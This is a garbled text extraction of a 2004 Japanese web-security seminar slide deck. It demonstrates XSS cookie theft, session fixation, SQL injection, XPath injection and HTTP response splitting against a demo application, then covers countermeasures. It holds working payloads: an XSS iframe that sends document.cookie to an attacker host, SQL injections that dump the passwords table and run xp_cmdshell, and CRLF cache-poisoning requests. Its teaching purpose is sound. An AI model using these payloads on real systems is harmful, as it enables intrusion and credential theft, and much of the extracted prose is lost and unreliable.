shio_ r2.ppt[読み取り専用]

Size: px

Start display at page:

Download "shio_20041207r2.ppt[読み取り専用]"

おきみちいなおか
7 years ago
Views:

1 Web <shio@st.rim.or.jp>

2 Web SQL XPath HTTP 5 URL 2

3 SQL XPath HTTP 3

4 Cross-Site Scripting : XSS Web Web CGI Web IIS Apache JavaScript/VBscript Web Web IE Web Cookie ID Web Cookie 4

5 5

6 <h1>aaa</h1>... <h1>...</h1> heading h1 aaa 6

7 <script>alert("aaa")</script>... <script>...</script> JavaScript alert(...) script aaa 7

8 <script>alert(document.cookie)</script>... document.cookie Cookie script Cookie 8

9 XSS Cookie IE Cookie Attacker Server Cookie xssgetcookie.pl xss-reply.pl <iframe src=" /greeting.asp?name= <script>location.hr ef=' 81/'+document.coo kie</script>"></ifra me> Cookie Attacker Attacker Server Cookie Cookie Server 9

asp?name= <script>location.hr ef='http://attacker: 81/'+document.

10 HTML HTML < > & " ' < > & " ' (); UTF-7 XSS 10

11 Web Web Web ID ID Web ID XSS Cookie URL ID ID 11

12 Web HTTP TCP ID ID ID ID 12

13 ID SID:1234 SID:1235 ID SID:1235 SID:1234 SID:1234 SID:1235 SID:1235 SID:

14 IIS ASP ID Cookie ASPSESSIONIDCAQRDBCS=IPHPPHBCNCNACKEPJAIBJJDI path / secure Cookie Non-Persistent IIS ID Session("auth") = true Session.Abandon 20 Session.Timeout ID ID??? 14

15 XSS Cookie ID Web login.asp menu.asp Anne Janet ID Steven hehehe hahaha hohoho process1.asp process2.asp logout.asp 15

16 Attacker ID xss-reply2.pl xssgetcookie.pl ID menu.asp Server Server Web ID XSS Cookie ID Attacker ID 16

17 Session Fixation ID fix Web ID ID ID URL XSS Cookie Web ID ID Web 17

18 SID:1234 ID SID:1234 SID 1234 SID:1234 SID:1234 SID:1234 ID 1234 SID 1234 HTML ID SID:1234 SID

19 XSS Cookie ID Attacker ID xss-setcookie.pl ID menu.asp Server Server... ID Server Web ID XSS /Server Cookie ID ID 19

20 ID ID IIS ID Web ID Cookie Hidden? XSS Web IIS 20

21 SQL Web SQL Web SQL Structured Query Language... DB SELECT Username FROM Users WHERE Username = 'X' AND Password = 'Y'... Users Username X Password Y Username SQL X Y SQL SQL

22 SQL login.asp SELECT * FROM Passwords WHERE Name = '" & Request.Form("uid") & "' AND Password = '" & Request.Form("pass") & "' menu.asp process1.asp process2.asp logout.asp Passwords Name Password Steven hehehe Anne hahaha Janet hohoho 22

23 SQL SQL ' or 'a'='a? ID aaa ' or 'a'='a SELECT * FROM Passwords WHERE Name = '" & Request.Form("uid") & "' AND Password = '" & Request.Form("pass") & "' SELECT * FROM Passwords WHERE Name = 'aaa' AND Password = '' or 'a'='a' SELECT... 23

24 SQL ID aaa ' or 'a'='a... 24

25 SQL UNION UNION... SQL A B SELECT, FROM A UNION SELECT, FROM B

26 SQL UNION login.asp menu.asp process1.asp process2.asp logout.asp SELECT LastName, FirstName, Title, Address FROM Employees WHERE FirstName LIKE '% " & Request.Form("search") & "%' Employees LastName FirstName Title Address Buchanan Steven Dodsworth Anne Leverling Janet

27 SQL UNION SQL xxxx' union select name, id, xtype, parent_obj from sysobjects where name like '? SELECT LastName, FirstName, Title, Address FROM Employees WHERE FirstName LIKE '%" & Request.Form("search") & "%' SELECT LastName, FirstName, Title, Address FROM Employees WHERE FirstName LIKE '%xxxx' union select name, id, xtype, parent_obj from sysobjects where name like '%' Employees sysobjects... sysobjects DB 27

28 SQL ID Steven / hehehe xxxx' union select name, id, xtype, parent_obj from sysobjects where name like '... 28

29 SQL sysobjects DB xtype... U: S: V:... Passwords ID xxxx' union select name, id, 'a', 'a' from syscolumns where id = Passwords ID and name like ' 29

30 SQL Passwords Name Password Passwords ID xxxx' union select name, password, 'a', 'a' from passwords where name like ' 30

31 SQL Stored procedure... MS SQL Server SQL Web MS SQL Server xp_cmdshell... OS sp_makewebtask... HTML 31

32 SQL xp_cmdshell sp_makewebtask xp_cmdshell OS xp_cmdshell {'command_string'} [, no_output] exec master..xp_cmdshell 'dir *.exe' sp_makewebtask HTML sp_makewebtask =] 'outputfile', =] 'query' [,...] exec sp_makewebtask 'c: inetpub wwwroot out.html', 'select * from passwords' exec sp_makewebtask 'c: inetpub wwwroot out.html', "exec master..xp_cmdshell 'dir *.exe'" 32

33 SQL SQL xp_cmdshell server ping IP PC windump/tcpdump windump -n host IP and icmp windump icmpsniff IP IP ID aaa xxx'; exec master..xp_cmdshell 'ping IP SELECT * FROM Passwords WHERE Name = 'aaa' AND Password = 'xxx' ; exec master..xp_cmdshell 'ping IP ' SQL 33

34 SQL ID SQL... ID xxx'; exec master..xp_cmdshell 'ping IP ';-- xxx SELECT * FROM Passwords WHERE Name = 'xxx' ; exec master..xp_cmdshell 'ping IP '; -- ' AND Password = 'xxx' SQL SQL 34

35 SQL SQL sp_makewebtask server HTML ID aaa xxx'; exec sp_makewebtask 'c: inetpub wwwroot.html', "exec master..xp_cmdshell 'dir *.exe'" ; -- SELECT * FROM Passwords WHERE Name = 'aaa' AND Password = 'xxx'; exec sp_makewebtask 'c: inetpub wwwroot.html', "exec master..xp_cmdshell 'dir *.exe'" ; --' 35

36 SQL SQL SQL ' '' SQL DBMS DBMS SQL SQL prepared statements DBMS SQL 36

37 XPath Web XPath XML XPath Web XPath XML Path Language... XML /UserList/User[Name='X' and Password='Y']... /UserList/User Name X Password Y XPath X Y XPath... XML 37

38 XPath auth.asp XML /UserList/User[Name='" & Request.Querystring("uid") & "' and Password='" & Request.Querystring("pass") & "'] userlist.xml <?xml version="1.0" encoding="iso "?> <UserList> <User> <Name>Steven</Name> <Password>hehehe</Password> <Title>Sales Manager</Title> <Address>14 Garrett Hill</Address> </User> <User> <Name>Anne</Name> <Password>hahaha</Password> <Title>Sales Representative</Title> <Address>7 Houndstooth Rd.</Address> </User> <User> <Name>Janet</Name> <Password>hohoho</Password> <Title>Sales Representative</Title> <Address>722 Moss Bay Blvd.</Address> </User> </UserList> 38

39 XPath XPath ' or 'a'='a? ID aaa ' or 'a'='a /UserList/User[Name='" & Request.Querystring("uid") & "' and Password='" & Request.Querystring("pass") & "'] /UserList/User[Name='aaa' and Password='' or 'a'='a'] User... 39

40 XPath ID aaa ' or 'a'='a... 40

41 XPath XPath XPath ' ' XPath "? XPath 41

42 HTTP HTTP Response Splitting HTTP Location Web Cookie 42

43 HTTP GET /redir_lang.asp?lang=english Server HTTP/ Object moved Location: english.html GET /english.html GET /redir_lang.asp?lang=%0d%0a %0d%0aHTTP/1.1%20200%20ok %0d%0a<html>poisoned</html> Server HTTP/ Object moved Location: = HTTP/ ok <html>poisoned</html>.html 43

44 HTTP GET /redir_lang.asp?lang=%0d%0a %0d%0aHTTP/1.1%20200%20ok %0d%0a<html>poisoned</html> GET /index.html Server HTTP/ Object moved Location: = HTTP/ ok <html>poisoned</html>.html TCP!! index.html <html>poisoned</html> 44

45 HTTP Web Attacker GET /redir_lang.asp? lang=%0d%0a%0d %0aHTTP/ GET /index.html Proxy GET /redir_lang.asp? lang=%0d%0a%0d %0aHTTP/ Server GET /index.html HTTP/ Location: = GET /index.html HTTP/ ok <html>poisoned... index.html <html>poisoned... HTTP/ ok <html>poisoned... Proxy 45

46 HTTP Web Apache rs-apache.pl 46

47 HTTP IE Attacker Server <frame src=" GET /redir_lang.asp? lang=%0d%0a%0d %0aHTTP/1.1...> <frame src=" GET /index.html> rs-iepoison.pl Attacker Server index.html <html>poisoned... Server 47

48 HTTP XSS GET /redir_lang.asp?lang=%0d%0a %0d%0aHTTP/1.1%20200%20ok %0d%0a<html><script>alert(doc ument.cookie)</script></html> Server HTTP/ Object moved Location: = HTTP/ ok <html><script>alert(document.coo kie)</script></html>.html IE Cookie rs-iexss.pl, xss-getcookie.pl 48

49 HTTP HTTP HTTP %0d%0a CR/LF HTTP Location Set-Cookie %0d%0a CR/LF... HTTP 49

50 hidden Cookie HTTP... HTML SQL XPath LDAP HTTP system open... DB... Web DBMS SQL XPath HTML HTTP... 50

51 WASC Web Security Threat Classification OWASP Guide to Building Secure Web Applications OWASP Top Ten Most Critical Web Application Vulnerabilities Cross-site Scripting Overview Web Application Security Web ASP Part

52 Web ASP Part 2 IPA ISEC Web 31 Understanding Malicious Content Mitigation for Web Developers Microsoft Windows 2000 Server : tm IIS Cookie SSL-Secure 52

53 @IT: Web SQL Injection - Are Your Web Applications Vulnerable? xp_cmdshell sp_makewebtask Blind XPath Injection pdf "Divide and Conquer" - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics 53

shio_20041004.PDF

shio_20041004.PDF JPNIC JPCERT/CC 2004 Web 2004 10 4 Web Web Web WASC Web Application Security Consortium 7 Web Security Threat Classification Web URL 2 ...?? It depends!? It depends!??? 3 ? It depends!...